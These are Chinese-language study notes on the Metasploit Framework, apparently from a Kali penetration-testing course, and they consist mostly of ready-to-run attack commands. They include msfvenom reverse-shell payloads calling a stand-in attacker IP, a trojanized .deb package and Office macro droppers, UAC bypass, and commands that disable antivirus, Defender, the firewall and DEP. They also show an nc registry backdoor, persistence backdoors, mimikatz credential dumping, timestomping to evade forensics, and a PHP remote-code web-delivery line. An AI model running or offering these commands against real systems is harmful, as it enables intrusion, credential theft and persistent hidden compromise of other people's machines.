kaliMSF笔记

metasploit framework

基本使用

msfconsole使用接口
最流行的用户接口
几乎可以使用全部MSF功能
控制台命令支持TAB自动补齐
支持外部命令的执行(系统命令等)
点击鼠标启动 或 msfconsole -h帮助 -q不看banner -r -v版本信息
help / ? / help vulns

MSF控制台命令

Banner、Color
connect 类似nc

show auxiliary / exploits 等,显示所有

search usermap_script / help search
search name:mysql / path:scada / platform:aix / type:aux /author:aaron / cve:2011
可多条件同时搜索,-h查看

use dos/windows/smb/ms09_001_write
show options / payloads / targets / advanced / evasion
info查看信息、edit编辑脚本
Check、back

db_status数据库连接状态
db_rebuild_cache重新生成搜索缓存

db_nmap
hosts / host 1.1.1.1 / hosts -u / hosts -c address,os_flavor -S Linux 查看扫描到的主机
services -p 80 / services -c info,name -p 1-1000 查看开放的端口及服务
vulns 查看扫描出的漏洞 / creds (mysql_login) 查看破解出的密码 / loot (hashdump) 查看获取到的哈希值

db_disconnect / db_connect 断开、连接数据库
/usr/share/metasploit-framework/config/database.yml 默认数据库存放位置

db_import / db_export 数据库导出导入
db_import /root/nmap.xml
db_export -f xml /root/bak.xml

set / unset / setg设为默认直到退出 / unsetg / save 设为默认且一直存在
run / exploit 都一样
jobs / kill 0
load 加载openvas sqlmap等/ unload /loadpath加载自己写的模块的路径
session -l / -i (Shell、Meterpreter session、VNC)看获得的session
route通过指定session路由流量
irb(Framework::Version)编程
resource (msfconsol -r a.rc)自己写好个.rc,会自动执行一系列命令

exploit模块

Active exploit 主动
use exploit/windows/smb/psexec
set RHOST 192.168.1.100
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
set SMBUSER user1
set SMBPASS pass1
exploit

Passive Exploits 被动
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.1
set LPORT 4444
exploit

生成payload

use payload/windows/shell_bind_tcp

generate -b ‘\x00’ 生成payload并自动选择编码模块绕过坏字符,要绕过的坏字符太多会导致没有可用的模块

手动指定编码模块
show encoders
generate -e x86/nonalpha

generate -b ‘\x00’ -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
i设置重复编码几次 b绕过坏字符 e指定编码模块 k多线程 x使用模板 t输出格式

NOP:no-operation或叫Next Operation,无任何操作的字节,EIP返回到存储NOP sled的任意地址时将递增,最终导致shellcode执行,generate -s 14

meterpreter

高级、动态、可扩展的payload
后渗透测试阶段一站式操作界面

完全基于内存的DLL注入式payload(不写硬盘)
注入合法系统进程并建立stager
基于stager上传和预加载DLL进行扩展模块的注入
基于stager建立的socket连接建立加密的TLS/1.0通信隧道
利用TLS隧道进一步加载后续扩展模块(避免网络取证)

服务端使用C语言编写
客户端提供基于ruby的全特性API

meterpreter基本命令

Help 帮助background返回
Run执行一系列功能 bgrun在后台执行

Cd ls cat pwd dir mkdir mv rm rmdir edit就是vi
Windows和Linux的命令通用

lpwd lcd 等于在本机执行pwd、cd
clearev清除日志信息 download从控制的机器上下载文件
upload /usr/share/windows-binaries/nc.exe c:\windows\system32上传文件
execute -f cmd.exe -i –H 执行命令
getuid查看当前账号 getsystem获取system权限 getprivs查看当前权限 getproxy查看系统代理信息 getpid获取所注入进程的PID

Hashdump run post/windows/gather/hashdump
sysinfo ps kill migrate迁移进程 reboot shutdown shell
show_mount 显示挂载的硬盘 search -f autoexec.bat搜索文件
arp查看ARP缓存 netstat查看网络连接情况 ipconfig ifconfig route
Idletime查看空闲时间 resource类似msf的resource
record_mic记录麦克风声音 webcam_list摄像头列表 webcam_snap -i 1 -v false每一秒截摄像头一次

meterpreter Python扩展
无需运行环境,在客户端运行Python原生代码
load python
help
python_execute “print (‘asdasdas’)”
python_execute “import os; cd = os.getcwd()” -r cd
python_import -f find.py

msfcli

由msfconsole -x取代
msfconsole -x “use exploit/windows/smb/ms08_067_netapi; set RHOST 1.1.1.1; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 1.1.1.8; set LPORT 5555; set target 34; exploit”

msf信息收集

nmap扫描
db_nmap -sV 192.168.1.0/24

auxiliary扫描模块:

RHOSTS设置一个或多个IP
192.168.1.20-192.168.1.30 192.168.1.0/24, 192.168.11.0/24
file:/root/h.txt或放在文件里

search arp
use auxiliary/scanner/discovery/arp_sweep
set INTERFACE、RHOSTS、SHOST、SMAC、THREADS
run

search portscan
use auxiliary/scanner/portscan/syn
set INTERFACE、PORTS、RHOSTS、THREADS
run

namp IPID idle扫描
查找ipidseq主机
use auxiliary/scanner/ip/ipidseq
set RHOSTS 192.168.1.0/24
run
找到合适主机后nmap -PN -sI 1.1.1.2 1.1.1.3

UDP扫描
use auxiliary/scanner/discovery/udp_sweep
use auxiliary/scanner/discovery/udp_probe

密码嗅探
use auxiliary/sniffer/psnuffle
支持从pcap抓包文件中提取密码
功能类似于dsniff
目前只支持pop3、imap、ftp、HTTP GET协议

SNMP扫描
vi /etc/default/snmpd #侦听地址修改为0.0.0.0
use auxiliary/scanner/snmp/snmp_login
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/snmp/snmp_enumusers (Windows)
use auxiliary/scanner/snmp/snmp_enumshares (Windows)

SMB版本扫描
use auxiliary/scanner/smb/smb_version

扫描命名管道,判断SMB服务类型(账号、密码)
use auxiliary/scanner/smb/pipe_auditor

扫描通过SMB管道可以访问的RCERPC服务
use auxiliary/scanner/smb/pipe_dcerpc_auditor

SMB共享枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumshares

SMB用户枚举(账号、密码)
use auxiliary/scanner/smb/smb_enumusers

SID枚举(账号、密码)
use auxiliary/scanner/smb/smb_lookupsid

SSH版本扫描
use auxiliary/scanner/ssh/ssh_version

SSH密码爆破
use auxiliary/scanner/ssh/ssh_login
set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
set VERBOSE false
run

SSH公钥登陆
use auxiliary/scanner/ssh/ssh_login_pubkey
set KEY_FILE id_rsa
set USERNAME root
run

Windows缺少的补丁
基于已经取得的session进行检测
use post/windows/gather/enum_patches
show advanced
set VERBOSE yes
检查失败
known bug in WMI query, try migrating to another process
迁移到另一个进程再次尝试

Mssql端口扫描
TCP 1433(动态端口) / UDP 1434(查询TCP端口号)
use auxiliary/scanner/mssql/mssql_ping
暴破mssql密码
use auxiliary/scanner/mssql/mssql_login
远程执行代码
use auxiliary/admin/mssql/mssql_exec
set CMD net user user pass /ADD

FTP版本扫描
use auxiliary/scanner/ftp/ftp_version 查看FTP版本信息
use auxiliary/scanner/ftp/anonymous 查看是否可以匿名登陆
use auxiliary/scanner/ftp/ftp_login 暴破密码

use auxiliary/scanner/ [tab] 多尝试
Display all 479 possibilities? (y or n)

弱点扫描

根据信息收集结果搜索漏洞利用模块
结合外部漏洞扫描系统对大IP地址段进行批量扫描
误判率、漏判率

VNC密码破解
use auxiliary/scanner/vnc/vnc_login
VNC无密码访问
use auxiliary/scanner/vnc/vnc_none_auth
无密码时显示:supported : None, free access!
RDP远程桌面漏洞
use auxiliary/scanner/rdp/ms12_020_check
检查不会造成DoS攻击
设备后门
use auxiliary/scanner/ssh/juniper_backdoor
use auxiliary/scanner/ssh/fortinet_backdoor

VMWare ESXi 密码爆破
use auxiliary/scanner/vmware/vmauthd_login
use auxiliary/scanner/vmware/vmware_enum_vms
利用WEB API远程开启虚拟机
use auxiliary/admin/vmware/poweron_vm

HTTP弱点扫描:
过期证书use auxiliary/scanner/http/cert

显示目录及文件
use auxiliary/scanner/http/dir_listing
use auxiliary/scanner/http/files_dir 基于字典暴破文件名

WebDAV Unicode编码身份认证绕过
use auxiliary/scanner/http/dir_webdav_unicode_bypass

Tomcat管理登录页面
use auxiliary/scanner/http/tomcat_mgr_login

基于HTTP方法的身份验证绕过
use auxiliary/scanner/http/verb_auth_bypass
Wordpress密码爆破
use auxiliary/scanner/http/wordpress_login_enum
set URI /wordpress/wp-login.php

WMAP WEB应用扫描器
根据SQLMAP的工作方式开发
load wmap
wmap_sites -a http://1.1.1.1
wmap_targets -t http://1.1.1.1/mutillidae/index.php
wmap_run -t
wmap_run -e
wmap_vulns -l
vulns

Openvas
Load openvas
命令行模式,需要配置,使用繁琐
导入nbe格式扫描日志
db_import openvas.nbe

Nessus
同上

Nexpose
Xml格式日志文件

MSF直接调用NESSUS执行扫描
Load nessus
nessus_help
nessus_connect admin:[email protected]
nessus_policy_list
nessus_scan_new
nessus_report_list

MSF客户端渗透

在无法突破网络边界的情况下转而攻击客户端
社会工程学攻击
进而渗透线上业务网络

含有漏洞利用代码的WEB站点
利用客户端漏洞

含有漏洞利用代码的DOC、PDF等文档

诱骗被害者执行payload(Windows)
msfvenom --payload-options -p windows/shell/reverse_tcp
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o 1.exe
msfconsole
▪use exploit/multi/handler
▪set payload windows/shell/reverse_tcp
▪set LHOST 1.1.1.1
▪set LPORT 4444
▪exploit

诱骗被害者执行payload(Linux deb安装包)
apt-get --download-only install freesweep
dpkg -x freesweep_0.90-1_i386.deb free
mkdir free/DEBIAN && cd free/DEBIAN
vi control
vi postinst
▪#!/bin/sh
▪sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b “\x00” -f elf -o /root/free/usr/games/freesweep_scores
chmod 755 postinst
dpkg-deb --build /root/free

利用Acrobat Reader漏洞执行payload
构造PDF文件exploit/windows/fileformat/adobe_utilprintf
构造恶意网站exploit/windows/browser/adobe_utilprintf
Meterpreter
▪use priv
▪run post/windows/capture/keylog_recorder

利用Flash插件漏洞执行payload
–use exploit/multi/browser/adobe_flash_hacking_team_uaf
–use exploit/multi/browser/adobe_flash_opaque_background_uaf
–use auxiliary/server/browser_autopwn2
利用IE浏览器漏洞执行payload
–use exploit/windows/browser/ms14_064_ole_code_execution

利用JRE漏洞执行payload
–use exploit/multi/browser/java_jre17_driver_manager
–use exploit/multi/browser/java_jre17_jmxbean
–use exploit/multi/browser/java_jre17_reflection_types
生成Android后门程序
–use payload/android/meterpreter/reverse_tcp
–generate -f a.apk -p android -t raw

VBScript感染方式
利用宏感染word、excel文档
绕过某些基于文件类型检查的安全机制
生成 vbscript 脚本:msfvenom -a x86 --platform windows -p windows/meterpreter/reversetcp LHOST=1.1.1.1 LPORT=4444 -e x86/shikata_ga_nai -f vba-exe
Office 2007 +
视图-----宏-----创建
Payload第一部分粘入VBA代码;
Payload第二部分粘入word文档正文;
Msf启动侦听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp

后渗透测试阶段

已获得目标系统控制权后扩大战果
提权、信息收集、渗透内网、永久后门

基于已有session扩大战果
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=4444 -b “\x00” -e x86/shikata_ga_nai -f exe -o 1.exe

获取system账号权限
load priv
getsystem
priv_elevate_getsystem: Operation failed: Access is denied.一般是UAC限制导致

绕过UAC限制
use exploit/windows/local/ask
▪set session
▪set filename
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
▪set session
▪set payload

利用漏洞直接提权为system
use exploit/windows/local/ms13_053_schlamperei
use exploit/windows/local/ms13_081_track_popup_menu
use exploit/windows/local/ms13_097_ie_registry_symlink
use exploit/windows/local/ppr_flatten_rec

图形化payload
set payload windows/vncinject/reverse_tcp
set viewonly no设置这个参数后可以操作,不然只能看

psexec模块之passthehash
use exploit/windows/smb/psexec
set smbpass hash
需要提前关闭UAC
▪cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
▪cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

关闭windows防火墙
需要管理员或system权限
netsh advfirewall set allprofiles state on

关闭 Windefend
net stop windefend

Bitlocker磁盘加密
manage-bde -off C:
manage-bde -status C:

关闭DEP
bcdedit.exe /set {current} nx AlwaysOff

杀死防病毒软件
–Run killav
–run post/windows/manage/killav
开启远程桌面服务
–run post/windows/manage/enable_rdp
–run getgui –e
▪run getgui -u yuanfh -p pass
▪run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20160824.1855.rc
查看远程桌面
–screenshot
–use espia
▪screengrab

tokens
用户每次登录,账号绑定临时的Token
访问资源时提交Token进行身份验证,类似于WEB Cookie
Delegate Token:交互登陆会话
Impersonate Token:非交互登陆会话
Delegate Token账号注销后变为Impersonate Token,权限依然有效

incognito
独立功能的软件,被MSF集成在meterpreter中
无需密码破解或获取密码HASH,窃取Token将自己伪装成其他用户
尤其适用于域环境下提权渗透多操作系统

load incognito
–list_tokens -u
–impersonate_token lab\administrator
–运行以上命令需要getsystem
▪ 本地普通权限用户需先本地提权
▪use exploit/windows/local/ms10_015_kitrap0d
▪execute -f cmd.exe -i -t # -t使用当前假冒token执行程序
▪shell

注册表保存着windows几乎全部配置参数
如果修改不当,可直接造成系统崩溃
修改前完整备份注册表
某些注册表的修改是不可逆的
常见用途:
修改、增加启动项
窃取存储于注册表中的机密信息
绕过文件型病毒查杀

用注册表添加NC后门服务(meterpreter)
upload /usr/share/windows-binaries/nc.exe C:\windows\system32
reg enumkey -k HKLM\software\microsoft\windows\currentversion\run
reg setval -k HKLM\software\microsoft\windows\currentversion\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’
reg queryval -k HKLM\software\microsoft\windows\currentversion\Run -v nc

打开防火墙端口(meterpreter)
execute -f cmd -i -H
netsh firewall show opmode
netsh firewall add portopening TCP 4444 “test” ENABLE ALL
shutdown -r -t 0
nc 1.1.1.1 4444

其他注册表项
https://support.accessdata.com/hc/en-us/articles/204448155-Registry-Quick-Find-Chart

抓包(meterpreter)
load sniffer
–sniffer_interfaces
–sniffer_start 2
–sniffer_dump 2 1.cap / sniffer_dump 2 1.cap
在内存中缓存区块循环存储抓包(50000包),不写硬盘
智能过滤meterpreter流量,传输全程使用SSL/TLS加密

解码
use auxiliary/sniffer/psnuffle
set PCAPFILE 1.cap

搜索文件
search -f *.ini
search -d c:\documents\ and\ settings\administrator\desktop\ -f *.docx

John the Ripper 破解弱口令
use post/windows/gather/hashdump #system权限的meterpreter
Run #结果保存在/tmp目录下
use auxiliary/analyze/jtr_crack_fast
run

文件系统访问会留下痕迹,电子取证重点关注
渗透测试和攻击者往往希望销毁文件系统访问痕迹
最好的避免被电子取证发现的方法:不要碰文件系统
-Meterpreter的先天优势所在(完全基于内存)
MAC 时间(Modified / Accessed / Changed)
ls -l --time=atime/mtime/ctime 1 .txt
stat 1.txt
touch -d “2 days ago” 1 .txt
touch-t 1501010101 1.txt

MACE MFT entry
MFT: NTFS文件系统的主文件分配表Master File Table
通常1024字节或2个硬盘扇区,其中存放多项entry信息
包含文件大量信息(大小 名称 目录 位置 磁盘位置 创建日期)
更多信息可研究 文件系统取证分析技术

Timestomp (meterpreter)
–timestomp -v 1.txt
–timestomp -f c:\autoexec.bat 1.txt
–-b -r #擦除MACE时间信息
–-m / -a / -c / -e / -z
–timestomp -z “MM/DD/YYYY HH24:MI:SS” 2.txt

pivoting 跳板、枢纽、支点
利用已经控制的一台计算机作为入侵内网的跳板
在其他内网计算机看来访问全部来自于跳板机
run autoroute -s 1.1.1.0/24 #不能访问外网的被攻击目标内网网段
扫描内网:use auxiliary/scanner/portscan/tcp

pivoting之端口转发
利用已经被控计算机,在kali与攻击目标之间实现端口转发
portfwd add -L LIP -l LPORT -r RIP -p RPORT
portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.11 -p 3389
portfwd list / delete / flush

use exploit/windows/smb/ms08_067_netapi
–set RHOST 127.0.0.1
–set LHOST 2.1.1.10

use exploit/multi/handler
–set exitonsession false

post模块
run post/windows/gather/arp_scanner RHOSTS=2.1.1.0/24
run post/windows/gather/checkvm
run post/windows/gather/credentials/credential_collector
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_snmp
run post/multi/recon/local_exploit_suggester
run post/windows/manage/delete_user USERNAME=yuanfh
run post/multi/gather/env
run post/multi/gather/firefox_creds
run post/multi/gather/ssh_creds
run post/multi/gather/check_malware REMOTEFILE=c:\a.exe

自动执行meterpreter脚本
set AutoRunScript hostsedit -e 1.1.1.1,www.baidu.com
set InitialAutoRunScript checkvm
自动执行post模块
set InitialAutoRunScript migrate -n explorer.exe
set AutoRunScript post/windows/gather/dumplinks

持久后门
利用漏洞取得的meterpreter shell运行于内存中,重启失效
重复exploit漏洞可能造成服务崩溃
持久后门保证漏洞修复后仍可远程控制

meterpreter后门
run metsvc -A #删除 -r
–use exploit/multi/handler
–set PAYLOAD windows/metsvc_bind_tcp
–set LPORT 31337
–set RHOST 1.1.1.1

持久后门
run persistence -h
run persistence -X -i 10 -p 4444 -r 1.1.1.1
run persistence -U -i 20 -p 4444 -r 1.1.1.1
run persistence -S -i 20 -p 4444 -r 1.1.1.1

MSF延伸用法之mimikatz
hashdump使用的就是mimikatz的部分功能
getsystem
load mimikatz
wdigest kerberos msv ssp tspkg livessp
mimikatz_command -h
mimikatz_command -f a:: 显示所有可用
mimikatz_command -f samdump::hashes
mimikatz_command -f handle::list
mimikatz_command -f service::list
mimikatz_command -f crypto::listProviders
mimikatz_command -f winmine::infos

PHP shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php
MSF启动侦听
上传到web站点并通过浏览器访问

web delivery
利用代码执行漏洞访问攻击者服务器
use exploit/multi/script/web_delivery
set target 1
php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://1.1.1.1/fTYWqmu’));”

RFI远程文件包含
vi /etc/php5/cgi/php.ini #php info配置文件
▪allow_url_fopen = On
▪allow_url_include = On
–use exploit/unix/webapp/php_include
–set RHOST 1.1.1.2
–set PATH /dvwa/vulnerabilities/fi/
–set PHPURI /?page=XXpathXX
–set HEADERS “Cookie:security=low;
PHPSESSID=eefcf023ba61219d4745ad7487fe81d7”
–set payload php/meterpreter/reverse_tcp
–set lhost 1.1.1.1
–exploit

Karmetasploit
伪造AP、嗅探密码、截获数据、浏览器攻击
wget https://www.offensive-security.com/wp-content/uploads/2015/04/karma.rc_.txt

安装其他依赖包
gem install activerecord sqlite3-ruby

你可能感兴趣的:(kali渗透测试学习笔记)